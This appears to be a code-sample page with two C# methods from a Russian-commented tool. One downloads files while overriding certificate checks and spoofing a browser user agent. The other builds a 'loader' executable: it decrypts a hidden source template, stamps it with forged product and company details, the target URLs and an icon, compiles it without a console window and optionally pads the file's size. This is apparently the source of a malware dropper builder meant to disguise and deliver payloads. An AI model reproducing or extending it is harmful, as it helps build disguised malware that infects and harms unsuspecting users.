Esempio n. 1
0
        public static async Task Loader(string link, Label message)
        {
            if (!string.IsNullOrWhiteSpace(link))
            {
                string filename = FileManager.GetFileName(link);                         // Получаем имя файла из ссылки
                string fullpath = FileManager.CombinePath(GlobalPath.CurrDir, filename); // Соединяем путь и имя файла

                if (!FileManager.ExistsFile(fullpath))
                {
                    try
                    {
                        var url = new Uri(link, UriKind.Absolute);
                        using var client = new WebClient();
                        if (!client.IsBusy)
                        {
                            // Установка сертификата для успешной загрузки файл(а)ов
                            ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
                            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls12;
                            client.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");
                            client.Proxy = null;
                            try
                            {
                                await client?.DownloadFileTaskAsync(url, fullpath);

                                var file = new FileInfo(fullpath);
                                if (file.Length > 0)
                                {
                                    message.Location = new Point(505, 371);
                                    ControlActive.CheckMessage(message, "Файл загружен успешно!", Color.YellowGreen, 4000);
                                }
                                else
                                {
                                    message.Location = new Point(505, 371);
                                    ControlActive.CheckMessage(message, "Файл повреждён, имеет 0 байтов!", Color.YellowGreen, 4000);
                                }
                            }
                            catch (WebException)
                            {
                                FileManager.DeleteFile(fullpath);
                                message.Location = new Point(505, 371);
                                ControlActive.CheckMessage(message, "Ошибка загрузки файла!", Color.YellowGreen, 4000);
                            }
                        }
                    }
                    catch (Exception ex) { throw new Exception("WebClient error: ", ex); }
                }
                else
                {
                    message.Location = new Point(505, 371);
                    ControlActive.CheckMessage(message, "Файл уже существует!", Color.YellowGreen, 4000);
                }
            }
        }
Esempio n. 2
0
        //#region Список ссылок для работы билда
        //private static readonly List<string> List_of_links = new List<string>
        //{
        //    "System.dll",
        //    "System.Net.dll"
        //};
        //#endregion

        public static void Inizialize(Build collection)
        {
            string exe     = $"{collection.BoxFileName}.exe",                     // Имя Билд файла
                   Source  = EncryptKey.Decrypt(Resources.Build, GlobalPath.KEY), // Расшифрованный билд из ресурсов
                   combine = FileManager.CombinePath(GlobalPath.CurrDir, exe);    // Путь к билд файлу из текущей директории

            #region Замена исходного кода на новые значения
            Source = Source.Replace("[TITLE]", collection.AssTitle).
                     Replace("[DESCRIPTION]", collection.AssDescription).
                     Replace("[COMPANY]", collection.AssCompany).
                     Replace("[PRODUCT]", collection.AssProduct).
                     Replace("[COPYRIGHT]", collection.AssCopyright).
                     Replace("[VERSION]", collection.AssVersion).
                     Replace("[FILEVERSION]", collection.AssFileVersion).
                     Replace("[GUID]", collection.GuidBox).
                     Replace("[Path]", collection.ComboPath).
                     Replace("\"[URL]\"", collection.ListBoxUrl);
            #endregion
            // Версия .Net для компиляции 4.0 макс для CodeDom (4.5 - Roslyn)
            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };
            try
            {
                using var provider = new CSharpCodeProvider(providerOptions);

                #region Дефолтные параметры для компиляции
                var parameters = new CompilerParameters
                {
                    CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu /langversion:Default /noconfig", // Дополнительные параметры для компиляции
                    TreatWarningsAsErrors   = false,
                    GenerateInMemory        = false,
                    IncludeDebugInformation = false,
                    GenerateExecutable      = true,
                    OutputAssembly          = exe,
                    ReferencedAssemblies    = { "System.dll", "System.Net.dll" }
                };
                //};
                #endregion
                #region Проверка на обнаружение иконки
                if (!string.IsNullOrEmpty(collection.BoxIcon))
                {
                    parameters.CompilerOptions += $" /win32icon:\"{collection.BoxIcon}\""; // Добавляем иконку
                }
                #endregion
                #region Добавление ссылок для компиляции билда
                //for (int i = 0; i < List_of_links.Count; i++)
                //{
                //    parameters.ReferencedAssemblies.Add(List_of_links[i]);
                //}
                #endregion
                #region Компиляция сборки

                CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, Source);
                if (!ResultLog.Errors.HasErrors)
                {
                    // Ошибок нету
                    collection.LMessage.Location = new Point(515, 371);
                    ControlActive.CheckMessage(collection.LMessage, "Загрузчик создан успешно!", Color.YellowGreen, 5000);
                    MusicPlay.Inizialize(Resources.GoodBuild);
                    if (collection.NUp.Value > 0)
                    {
                        PumpFile.Inizialize(exe, (int)collection.NUp.Value);
                    }
                }
                else
                {
                    collection.LMessage.Location = new Point(510, 371);
                    ControlActive.CheckMessage(collection.LMessage, "Ошибка создания загрузчика!", Color.YellowGreen, 5000);
                    MusicPlay.Inizialize(Resources.Error_Build);
                    foreach (CompilerError compilerError in ResultLog.Errors)
                    {
                        FileManager.CreateFile("Error_Compiler.txt", $"Error: {compilerError?.ToString()} {Environment.NewLine}Line: {compilerError?.Line}{Environment.NewLine}");
                    }
                }

                #endregion
            }
            catch (ArgumentNullException aue) { throw new ArgumentNullException("CSharpCodeProvider error", aue); }
        }